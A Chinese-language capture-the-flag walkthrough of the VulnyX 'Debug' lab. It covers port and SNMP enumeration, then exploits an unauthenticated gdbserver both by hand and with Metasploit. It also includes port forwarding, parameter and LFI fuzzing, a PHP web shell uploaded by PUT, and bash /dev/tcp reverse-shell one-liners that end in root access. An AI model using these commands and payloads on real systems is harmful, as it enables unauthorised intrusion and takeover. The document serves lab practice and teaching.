vulnyx-Debug靶场渗透

https://vulnyx.com/

  1. 将两台虚拟机网络连接都改为NAT模式

  2. 攻击机上做namp局域网扫描发现靶机

    nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.139

  1. 扫描服务器开放了哪些端口,有什么服务

    nmap -sV -T4 -p- -A 192.168.23.139

1. 80/tcp & 8080/tcp - Apache httpd 2.4.61

  • 异常点 :两个端口运行着相同版本的 Apache,但 8080 端口被 Nmap 标记为 Proxy might be redirecting requests
  • 分析
    • 80 端口 :可能是主站或简单的入口页。由于没有 http-title,可能返回的是空白页、自定义 403 页面,或者需要特定的 Host 头才能访问。
    • 8080 端口 :提示"代理重定向"。这通常意味着它可能是一个 正向代理 或配置不当的 反向代理
  • 利用思路
    • HTTP 代理测试 :测试是否可以作为正向代理访问内网或外部网站: curl --proxy http://192.168.23.139:8080 http://127.0.0.1:20500
    • 虚拟主机爆破 :使用 ffuf 配合不同的 Host 头部进行扫描。
    • 目录扫描:两个端口的目录结构可能完全不同。

2. 20500/tcp - unknown

  • 分析 :这是一个非标准端口,且 Nmap 无法识别其版本。这类端口通常是自定义脚本、后门、或是某个特定应用的 API 端口
  • 探测命令
    • Banner 抓取nc -nv 192.168.23.139 20500,连上后尝试输入 HELPGET / 或随便敲点字符看回显。
    • 深度脚本扫描 :使用 Nmap 默认指纹脚本: nmap -sC -sV -p 20500 192.168.23.139

3. 22/tcp - SSH (OpenSSH 8.4p1)

  • 分析:Debian 11 的标准版本。
  • 渗透意义:除非你能通过 Web 端找到凭据(如配置文件泄露、数据库备份),否则该端口目前的攻击优先级较低。
  1. 访问 80 端口开放的 http 服务
复制代码
dirsearch -u http://192.168.23.139/ -e php,html,txt,zip,bak,old,config,php.bak,sql -t 50 -f -i 200,301,302,403

什么都没有

  1. 再使用 nmap 看看开放的 UDP 端口

    nmap -sU --min-rate 1000 192.168.23.139

snmp服务是开着的,可以枚举敏感信息

复制代码
onesonesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt 192.168.23.139

onesixtyone 是一个用于 SNMP(简单网络管理协议)枚举的命令行工具。它可以帮助发现网络上的设备,并通过查询支持 SNMP 的设备来识别潜在漏洞。

成功爆破出了 SNMP 的团体名(Community String)为 network。这个结果不仅验证了服务可访问,还为提供了目标的精确系统信息:这是一台运行 Debian 11 (Bullseye) 内核版本为 5.10.0-32 的 64 位 Linux 机器。有了凭据 network,现在可以开始深度挖掘敏感信息了。

复制代码
snmp-check 192.168.23.139 -c network

发现关键信息

A. 20500 端口:gdbserver 远程调试(致命)

  • 进程内容gdbserver-9.2 --once 0.0.0.0:20500 /bin/true
  • 漏洞原理gdbserver 是一个用于远程调试程序的工具。它默认没有任何身份验证。当你连接到它时,你可以接管它正在运行的进程,甚至加载并执行你自己的恶意代码。
  • 特殊配置while true; do ... done 意味着即使连接断开,服务也会自动重启。--once 表示每次连接只运行一个会话。

B. 127.0.0.1:9000:本地 PHP 服务

  • 进程内容/usr/bin/php -S 127.0.0.1:9000
  • 漏洞原理 :这是一个运行在本地回环地址(Localhost)上的 PHP 开发服务器,且工作目录在 /root/.serve/
  • 关联性 :由于它只监听 127.0.0.1,你在外网扫不出来。但如果你能通过 gdbserver 拿到权限,或者通过之前的 8080 代理端口 进行 SSRF 攻击,你就能访问到它。

获取 RCE

方法一、通过 gdbserver 获取 RCE

  1. 在攻击机上准备 Payload : 你需要一个简单的二进制文件或利用 gdb 的能力执行 shellcode。最简单的办法是利用 gdbcall 功能。

启动本地 GDB 并连接

复制代码
gdb /bin/true # 最好使用与目标相同的二进制文件
(gdb) target remote 192.168.23.139:20500
  • 在入口点中断 : 由于程序刚连上时停留在 ld.so (动态链接器) 层面,不要直接 continue。我们直接在当前位置尝试注入。
  • 强制注入 Payload : 如果 call 因为没有符号表而失败,我们需要告诉 GDB 函数的返回类型。尝试指定系统函数的地址或通过 remote 传输。

最简单有效的方案:使用 file****命令加载本地二进制以获取符号参考

复制代码
(gdb) file /bin/true  # 加载本地的相同文件来获取符号表
(gdb) target remote 192.168.23.139:20500
(gdb) break _start    # 在程序入口点下断点,这比 main 更靠前
(gdb) c

一旦停在断点,立即执行:

复制代码
(gdb) set $pc = execl  # 尝试直接修改指令指针(如果已加载符号)
# 或者使用更粗暴的 call (注意要把命令写全)
(gdb) p (int) system("bash -c 'bash -i >& /dev/tcp/192.168.23.128/4444 0>&1'")

方法二、 使用 Metasploit

复制代码
msfconsole -q
use exploit/multi/gdb/gdb_server_exec
set RHOSTS 192.168.23.139
set RPORT 20500
set LHOST 192.168.23.128
show targets
set TARGET 1
set PAYLOAD linux/x64/shell_reverse_tcp
run

成功 getshell

  1. 成功 getshell,那么我需要 python3 启动一个可交互式 shell

    python3 -c 'import pty;pty.spawn("/bin/bash")'

信息收集一下

复制代码
id
uname -a
lsb_release -a
ss -tlnp

把内网的9000端口转发出来。直接修改 Payload 重新攻击以便通过 metaspl

复制代码
# 1. 退出当前的 shell 
exit

# 2. 修改 payload 为 meterpreter 版本
set PAYLOAD linux/x64/meterpreter/reverse_tcp

# 3. 再次运行
run

# 将靶机本地的 9000 转发到你 Kali 的 9000
portfwd add -l 9000 -p 9000 -r 127.0.0.1

成功转发到 kali 本地

  1. 尝试模糊测试网站 GET 请求允许传入的参数

    ffuf -u "http://127.0.0.1:9000/?FUZZ=user.txt" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fc 404,500 -fs 0

参数是 name 再探测是否存在本地文件包含

复制代码
ffuf -u "http://127.0.0.1:9000/?name=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fc 404 -fs 0

ps aux | grep -v '\[' | grep root
 ls -la /usr/bin/php
 ls -la /etc/alternatives/php
 ls -la /usr/bin/php7.4
  1. 可以在家目录写木马,然后通过前面发现的文件包含漏洞,,将木马文件污染网页构成 RCE 漏洞

    echo '<?php system($_GET["cmd"]); ?>' > shell.php

    wget --method=PUT --body-file=shell.php "http://127.0.0.1:9000/?name=shell.php" "http://127.0.0.1:9000/?name=shell.php" -O - 2>/dev/null

测试一下成功没有

复制代码
wget -qO- "http://127.0.0.1:9000/shell.php?cmd=id"

成功构造了命令执行,并且发现是 root 权限,尝试反弹 shell

复制代码
wget -qO- "http://127.0.0.1:9000/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.23.128/1234+0>%261'"

kali 要预先开启对 1234 端口的监听,成功 getshell

复制代码
nc -lvvp 1234
相关推荐
tryqaaa_2 小时前
学习日志(一)【含markdown语法,Linux学习】
linux·运维·学习·web安全·web·markdown
介一安全2 小时前
Web缓存漏洞扫描器WCVS:原理、实战与操作指南
测试工具·web安全·安全性测试
小猿姐2 小时前
数据库漏洞自动同步,KubeBlocks Addon 安全能力再升级
数据库·安全
其实防守也摸鱼2 小时前
部署本地AI大模型--ollma
人工智能·安全·ai·大模型·软件工程·本地大模型
黎阳之光3 小时前
黎阳之光:港口智能体集群,重塑智慧港口新范式
大数据·人工智能·算法·安全·数字孪生
青Cheng序员石头3 小时前
AI Agent 真正危险的,不只是不靠谱的模型,还有被忽视的技能执行层
人工智能·安全·agent
Austindatabases3 小时前
阿里云MongoDB 部署安全吗? 多可用区怎么搞?
数据库·安全·mongodb·阿里云·云计算
藤原千花的败北3 小时前
PHP对象注入(PHP反序列化漏洞)
网络安全·php